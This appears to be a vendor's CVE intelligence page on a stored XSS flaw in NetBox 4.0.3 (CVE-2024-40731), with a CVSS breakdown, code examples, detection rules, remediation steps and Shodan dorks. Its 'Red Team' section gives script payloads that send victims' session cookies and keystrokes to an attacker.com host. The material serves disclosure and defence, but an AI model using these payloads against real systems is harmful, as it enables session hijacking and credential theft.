☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-40731

CVE-2024-40731 Cross-Site Scripting in Netbox
📅 PUBLISHED: 2024-07-09 00:00 UTC 🔄 UPDATED: 2026-08-12 09:03 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.31%
👁️
0.31% probability
7.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: 4.0.3
CVSS VECTOR BREAKDOWN 0.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-40731 is a stored Cross-Site Scripting (XSS) vulnerability identified in NetBox v4.0.3, specifically within the /dcim/rear-ports/{id}/edit/ endpoint. An authenticated attacker with the ability to edit rear ports can inject arbitrary JavaScript or HTML into the Name parameter. When an administrator or other user views the affected rear port, the malicious payload executes in their browser session, potentially leading to session hijacking, credential theft, or further lateral movement within the NetBox instance. The vulnerability has a CVSS v3.1 base score of 5.4 (Medium), with a low attack complexity and low privileges required, but requiring user interaction. No official patch has been released, and no public exploit code or Nuclei template is available at this time.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

NetBox is a Python/Django-based open-source application distributed via PyPI and GitHub. This vulnerability does not directly affect the supply chain of NetBox itself, but organizations using NetBox as part of their infrastructure management pipeline should treat this as a critical risk. An attacker who compromises a low-privileged NetBox account can use this XSS to escalate privileges or pivot to other systems managed by NetBox. Ensure that NetBox instances are isolated from production networks and that user access is strictly controlled.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions are required.
  • Privileges Required (PR): Low (L) – An attacker needs a valid account with permission to edit rear ports.
  • User Interaction (UI): Required (R) – The victim must view the maliciously crafted rear port.
  • Scope (S): Changed (C) – The impact extends beyond the vulnerable component.
  • Confidentiality (C): Low (L) – Limited data exposure possible.
  • Integrity (I): Low (L) – Limited ability to modify data.
  • Availability (A): None (N) – No direct impact on availability.

Threat Level: Medium. The requirement for authentication and user interaction reduces the immediate risk, but the potential for session hijacking and lateral movement makes this a significant concern in multi-tenant or high-security environments.

Deep Dive & Mechanics

The vulnerability resides in the rear port edit form at /dcim/rear-ports/{id}/edit/. The Name field is not properly sanitized before being stored in the database and later rendered in the web interface. When an attacker submits a payload such as <script>alert('XSS')</script> in the Name parameter, the application stores it as-is. When an administrator or any user with view permissions accesses the rear port list or detail page, the payload is executed in their browser.

The root cause is the lack of output encoding in the template rendering the Name field. Django templates automatically escape HTML by default, but if the developer used the |safe filter or mark_safe() function, or if the field is rendered in a context where escaping is disabled, the XSS becomes possible. In NetBox v4.0.3, the rear port name is likely rendered without proper escaping in certain views.

Vulnerable vs. Patched Code

Vulnerable Code (NetBox v4.0.3):

# In views or templates, the name field is rendered without escaping
# Example template snippet:
{{ rearport.name|safe }}

Patched Code (Hypothetical fix):

# Remove the |safe filter or use escape filter explicitly
{{ rearport.name }}

Or, in the view, sanitize input:

from django.utils.html import escape
rearport.name = escape(request.POST.get('name'))

No official patch has been released. The vendor has not acknowledged the vulnerability in a public advisory.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • A NetBox v4.0.3 instance with at least one user account that has permission to edit rear ports.
  • Access to the /dcim/rear-ports/{id}/edit/ endpoint.

Exploitation Steps:

  1. Log in to NetBox with the attacker account.
  2. Navigate to a rear port edit page (e.g., /dcim/rear-ports/1/edit/).
  3. In the Name field, inject a payload such as:
    <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
    
  4. Save the rear port.
  5. When an administrator views the rear port list or detail page, the payload executes, sending the victim's session cookie to the attacker's server.

Alternative Payloads:

  • Session hijacking: <script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>
  • Keylogging: <script>document.onkeypress=function(e){fetch('https://attacker.com/key?k='+e.key)}</script>

Blue Team

Detection:

  • Monitor HTTP POST requests to /dcim/rear-ports/*/edit/ for suspicious name parameters containing <script>, onerror=, or other HTML event handlers.
  • Use web application firewall (WAF) rules to block common XSS patterns in the name field.
  • Review server logs for unusual outbound connections from the NetBox server (e.g., to attacker-controlled domains).

Mitigation:

  • Apply input validation and output encoding as described in the patched code section.
  • Restrict edit permissions for rear ports to only trusted users.
  • Implement Content Security Policy (CSP) headers to block inline scripts.
  • Use a WAF with XSS detection capabilities.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • Outbound HTTP requests to unknown domains from the NetBox server.
    • Suspicious Referer headers pointing to /dcim/rear-ports/ endpoints.
  • File IOCs:
    • Log entries in /var/log/netbox/ showing unusual name parameter values.
  • Host IOCs:
    • Unexpected JavaScript files or scripts in the browser cache of users who viewed rear ports.
  • Behavioral IOCs:
    • Multiple failed login attempts followed by successful rear port edits from the same IP.
    • Unusual changes to rear port names containing HTML tags.

Detection Engineering

YARA Rule

rule CVE_2024_40731_XSS_NetBox {
    meta:
        description = "Detects XSS payloads in NetBox rear port name fields"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-40731"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $xss_event = /on\w+\s*=\s*['"][^'"]*['"]/i
    condition:
        $xss_payload or $xss_event
}

Sigma Rule

title: NetBox Rear Port XSS Attempt
id: 8a4b3c2d-1e5f-4a6b-9c8d-7e0f1a2b3c4d
status: experimental
description: Detects XSS payloads in NetBox rear port name field
author: Valters IT
logsource:
    category: webserver
    product: netbox
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/dcim/rear-ports/*/edit/'
        cs-uri-query|contains: 
            - '<script'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of HTML in names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-40731 NetBox Rear Port XSS Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/dcim/rear-ports/"; http_uri;
    content:"edit/"; http_uri;
    pcre:"/<script[^>]*>.*<\/script>/i";
    sid:1000001;
    rev:1;
    reference:cve,2024-40731;
)

Remediation & Mitigation

Immediate Actions:

  1. Disable rear port editing for non-admin users until a patch is available.
  2. Apply a virtual patch using a WAF to block XSS payloads in the name parameter.
  3. Review and restrict user permissions for the dcim.change_rearport permission.

Long-term Fix:

  • Upgrade to a patched version of NetBox once released.
  • Implement input sanitization using Django's built-in strip_tags or a library like bleach.
  • Ensure all user-supplied data is properly escaped in templates (avoid |safe unless absolutely necessary).

Monitoring:

  • Enable detailed logging for all POST requests to /dcim/rear-ports/*/edit/.
  • Set up alerts for any outbound connections from the NetBox server to unknown IPs.

Valters IT
Securing your infrastructure, one CVE at a time.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:NetBox
http.favicon.hash:-1776962843

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-40731/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.